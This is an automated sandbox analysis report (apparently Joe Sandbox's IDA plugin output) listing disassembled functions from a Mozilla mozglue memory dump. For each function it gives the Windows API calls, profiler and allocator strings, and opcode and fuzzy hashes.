Part of subcall function 6BF8AC20: CloseHandle.KERNEL32 ref: 6BF8AD28
Part of subcall function 6BF8AC20: UnmapViewOfFile.KERNEL32 ref: 6BF8AD37
Part of subcall function 6BF8AC20: CloseHandle.KERNEL32 ref: 6BF8AD43

Part of subcall function 6BF8AE70: GetCurrentThreadId.KERNEL32 ref: 6BF8AE85
Part of subcall function 6BF8AE70: EnterCriticalSection.KERNEL32(6BFAF770,?,6BF4C034), ref: 6BF8AE96
Part of subcall function 6BF8AE70: LeaveCriticalSection.KERNEL32(6BFAF770,?,?,?,?,6BF4C034), ref: 6BF8AEBD

Strings

LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/, xrefs: 6BF4BDDD
LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?), xrefs: 6BF4BFCF
accelerator.dll, xrefs: 6BF4BC8E, 6BF4BC9D
LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag, xrefs: 6BF4BF5B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ConditionMask$File$CriticalInfoSectionView$CloseCreateCurrentEnterHandleLeaveSystemThreadUnmapVerifyVersionmemsetstrchr$Mapping_strtoui64freestrcmp
String ID: LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?)$LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/$LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag$accelerator.dll
API String ID: 3889411031-3373514183
Opcode ID: 800b990f14bc3727bb1f0e158055df28febd8ae06650668fe1c99703c4e09aa6
Instruction ID: 6281823e8c4ca471c274c82549e8b71950c45d4e242df1407286f7e58d50d1d2
Opcode Fuzzy Hash: 800b990f14bc3727bb1f0e158055df28febd8ae06650668fe1c99703c4e09aa6
Instruction Fuzzy Hash: 76E1F6739083019BE7148F28C885B6EBBF5EF85714F008D5DE985872A3DB78E948C792

Function 6BF6E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF67090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6BF6B9F1,?), ref: 6BF67107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6BF6DCF5), ref: 6BF6E92D
GetCurrentThreadId.KERNEL32 ref: 6BF6EA4F
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EA5C
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EA80
GetCurrentThreadId.KERNEL32 ref: 6BF6EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6BF6DCF5), ref: 6BF6EA92
GetCurrentThreadId.KERNEL32 ref: 6BF6EB11
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6BF6EB3C
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EB5B

Part of subcall function 6BF65710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BF6EB71), ref: 6BF657AB

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BF6EBAC

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

GetCurrentThreadId.KERNEL32 ref: 6BF6EBC1
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8,?,?,00000000), ref: 6BF6EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BF6EBE5
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8,00000000), ref: 6BF6EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BF6EC46
CloseHandle.KERNEL32(?), ref: 6BF6EC55
free.MOZGLUE(00000000), ref: 6BF6EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6BF6EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BF6EA9B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 192961b2cc39b1134d23a9b5a96beb533c512d8b3f107ba7ed2e8fd4f3c59346
Instruction ID: c8c115e0f99b4c650ca670b5a4127046e3d1eba238c51b664d7287979696b028
Opcode Fuzzy Hash: 192961b2cc39b1134d23a9b5a96beb533c512d8b3f107ba7ed2e8fd4f3c59346
Instruction Fuzzy Hash: F6A13733920205DFDB189F28D884B6AB7A9FF86354F144429ED59CB371EB79D808CB61

Function 6BF6F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BF6F8F9

Part of subcall function 6BF36390: GetCurrentThreadId.KERNEL32 ref: 6BF363D0
Part of subcall function 6BF36390: AcquireSRWLockExclusive.KERNEL32 ref: 6BF363DF
Part of subcall function 6BF36390: ReleaseSRWLockExclusive.KERNEL32 ref: 6BF3640E

ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F93A
GetCurrentThreadId.KERNEL32 ref: 6BF6F98A
GetCurrentThreadId.KERNEL32 ref: 6BF6F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6F716

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

Part of subcall function 6BF2B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6BF2B5E0

GetCurrentThreadId.KERNEL32 ref: 6BF6F739
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F746
GetCurrentThreadId.KERNEL32 ref: 6BF6F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6BFA385B,00000002,?,?,?,?,?), ref: 6BF6F829
free.MOZGLUE(?,?,00000000,?), ref: 6BF6F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6BF6F866
free.MOZGLUE(?), ref: 6BF6FA0C

Part of subcall function 6BF35E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BF355E1), ref: 6BF35E8C
Part of subcall function 6BF35E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF35E9D
Part of subcall function 6BF35E60: GetCurrentThreadId.KERNEL32 ref: 6BF35EAB
Part of subcall function 6BF35E60: GetCurrentThreadId.KERNEL32 ref: 6BF35EB8
Part of subcall function 6BF35E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF35ECF
Part of subcall function 6BF35E60: moz_xmalloc.MOZGLUE(00000024), ref: 6BF35F27
Part of subcall function 6BF35E60: moz_xmalloc.MOZGLUE(00000004), ref: 6BF35F47
Part of subcall function 6BF35E60: GetCurrentProcess.KERNEL32 ref: 6BF35F53
Part of subcall function 6BF35E60: GetCurrentThread.KERNEL32 ref: 6BF35F5C
Part of subcall function 6BF35E60: GetCurrentProcess.KERNEL32 ref: 6BF35F66
Part of subcall function 6BF35E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6BF35F7E

free.MOZGLUE(?), ref: 6BF6F9C5
free.MOZGLUE(?), ref: 6BF6F9DA

Strings

" attempted to re-register as ", xrefs: 6BF6F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6BF6F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6BF6F71F
Thread , xrefs: 6BF6F789

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: ceed10f93f3a3f3276a3ffa77cc17859c6d761d2e122c45ca95b3e827df16c09
Instruction ID: a6d6db3d9261629e2a854f4cc006f41a012b23107c632e5889974d201ee15de8
Opcode Fuzzy Hash: ceed10f93f3a3f3276a3ffa77cc17859c6d761d2e122c45ca95b3e827df16c09
Instruction Fuzzy Hash: 1C810073910205DFDB149F34C881B6EBBA5FF85344F40846DE9499B272EB39D849CBA2

Function 6BF34180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6BF34196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6BF341F1
VerSetConditionMask.NTDLL ref: 6BF34223
VerSetConditionMask.NTDLL ref: 6BF3422A
VerSetConditionMask.NTDLL ref: 6BF34231
VerSetConditionMask.NTDLL ref: 6BF34238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BF34245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6BF34263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6BF3427A
FreeLibrary.KERNEL32(?), ref: 6BF34299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6BF342C4
VerSetConditionMask.NTDLL ref: 6BF342F6
VerSetConditionMask.NTDLL ref: 6BF34302
VerSetConditionMask.NTDLL ref: 6BF34309
VerSetConditionMask.NTDLL ref: 6BF34310
VerSetConditionMask.NTDLL ref: 6BF34317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6BF34324

Strings

SetProcessDpiAwareness, xrefs: 6BF34274
Shcore.dll, xrefs: 6BF3425E

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: fa71586da87e4aa08531b994884aa509126c88fead0a557a4be772f14e56d435
Instruction ID: 3bb73a386bccbd9667b794154d33def144de77c0ea78b3b412cf536e27c1a6cb
Opcode Fuzzy Hash: fa71586da87e4aa08531b994884aa509126c88fead0a557a4be772f14e56d435
Instruction Fuzzy Hash: 07512572A40224ABFB146B748C88BAE776CDF86B10F014518F905EB1E0DB79DD54CBE0

Function 6BF6EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6EE60
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EE6D
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BF6EEA5
CloseHandle.KERNEL32(?), ref: 6BF6EEB4
free.MOZGLUE(00000000), ref: 6BF6EEBB
GetCurrentThreadId.KERNEL32 ref: 6BF6EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6EECF

Part of subcall function 6BF6DE60: GetCurrentThreadId.KERNEL32 ref: 6BF6DE73
Part of subcall function 6BF6DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6BF34A68), ref: 6BF6DE7B
Part of subcall function 6BF6DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6BF34A68), ref: 6BF6DEB8
Part of subcall function 6BF6DE60: free.MOZGLUE(00000000,?,6BF34A68), ref: 6BF6DEFE
Part of subcall function 6BF6DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6BF6DF38

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

GetCurrentThreadId.KERNEL32 ref: 6BF6EF1E
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EF2B
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EF59
GetCurrentThreadId.KERNEL32 ref: 6BF6EFB0
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EFBD
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6EFE1
GetCurrentThreadId.KERNEL32 ref: 6BF6EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6F000

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF6F02F

Part of subcall function 6BF6F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF6F09B
Part of subcall function 6BF6F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BF6F0AC
Part of subcall function 6BF6F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BF6F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6BF6EED7
[I %d/%d] profiler_pause, xrefs: 6BF6F008

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 7ec6aea0d3dc116f9b2fb80438d52654446e5d0f969af661ff15a1e503be2fa2
Instruction ID: 74c089d9c38300d42ce0e54fe6e3e0f1a4abdcd4d2ca272ca80ffd3b9915bdcc
Opcode Fuzzy Hash: 7ec6aea0d3dc116f9b2fb80438d52654446e5d0f969af661ff15a1e503be2fa2
Instruction Fuzzy Hash: 87514833824205DFDB085B78D88975D7BA8EB063A8F004565ED15C72B2EB7EC808C7B2

Function 6BF5D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BFAE804), ref: 6BF5D047
GetSystemInfo.KERNEL32(?), ref: 6BF5D093
__Init_thread_footer.LIBCMT ref: 6BF5D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6BFAE810,00000040), ref: 6BF5D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6BFAE7B8,00001388), ref: 6BF5D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6BFAE744,00001388), ref: 6BF5D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6BFAE784,00001388), ref: 6BF5D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6BFAE7DC,00001388), ref: 6BF5D1B1

Strings

MOZ_CRASH(), xrefs: 6BF5D277
Compile-time page size does not divide the runtime one., xrefs: 6BF5D26D
MALLOC_OPTIONS, xrefs: 6BF5D0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6BF5D322
<jemalloc>, xrefs: 6BF5D268, 6BF5D311

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: b3e2186f0ccb6e268572c4b86dec877dcc415a46b08e3fb353f09b745503f061
Instruction ID: fecaee1856c289ab640048fa276004d998f68491d41b88824bbb0e21565ae2cf
Opcode Fuzzy Hash: b3e2186f0ccb6e268572c4b86dec877dcc415a46b08e3fb353f09b745503f061
Instruction Fuzzy Hash: C4813477A71205DBEB0C8F78C894F6D7BA4EB26700F200029E811977B0D779E859CBA1

Function 6BF6FAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF6FADC
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6FAE9
GetCurrentThreadId.KERNEL32 ref: 6BF6FB31
GetCurrentThreadId.KERNEL32 ref: 6BF6FB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BF6FBF6
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6FC50

Strings

[D %d/%d] profiler_unregister_thread: %s, xrefs: 6BF6FC94
[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6BF6FD15

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: 909acea41927cf6709c720865dcdffba7cdd598b487e240922b2820de1a8fc53
Instruction ID: 1eb27d82c857de205ed0d9e8307abcb4ea05caa91b0dc00baf713263f841395e
Opcode Fuzzy Hash: 909acea41927cf6709c720865dcdffba7cdd598b487e240922b2820de1a8fc53
Instruction Fuzzy Hash: FC71CD32904601CFD758DF28C445B6ABBE5FF86744F018969ED458B372FB39A908CB92

Function 6BF35E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF35E9D

Part of subcall function 6BF45B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BF456EE,?,00000001), ref: 6BF45B85
Part of subcall function 6BF45B50: EnterCriticalSection.KERNEL32(6BFAF688,?,?,?,6BF456EE,?,00000001), ref: 6BF45B90
Part of subcall function 6BF45B50: LeaveCriticalSection.KERNEL32(6BFAF688,?,?,?,6BF456EE,?,00000001), ref: 6BF45BD8
Part of subcall function 6BF45B50: GetTickCount64.KERNEL32 ref: 6BF45BE4

GetCurrentThreadId.KERNEL32 ref: 6BF35EAB
GetCurrentThreadId.KERNEL32 ref: 6BF35EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF35ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6BF36017

Part of subcall function 6BF24310: moz_xmalloc.MOZGLUE(00000010,?,6BF242D2), ref: 6BF2436A
Part of subcall function 6BF24310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6BF242D2), ref: 6BF24387

moz_xmalloc.MOZGLUE(00000004), ref: 6BF35F47
GetCurrentProcess.KERNEL32 ref: 6BF35F53
GetCurrentThread.KERNEL32 ref: 6BF35F5C
GetCurrentProcess.KERNEL32 ref: 6BF35F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6BF35F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6BF35F27

Part of subcall function 6BF3CA10: mozalloc_abort.MOZGLUE(?), ref: 6BF3CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BF355E1), ref: 6BF35E8C

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BF355E1), ref: 6BF3605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BF355E1), ref: 6BF360CC

Strings

GeckoMain, xrefs: 6BF35ECE, 6BF36015

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
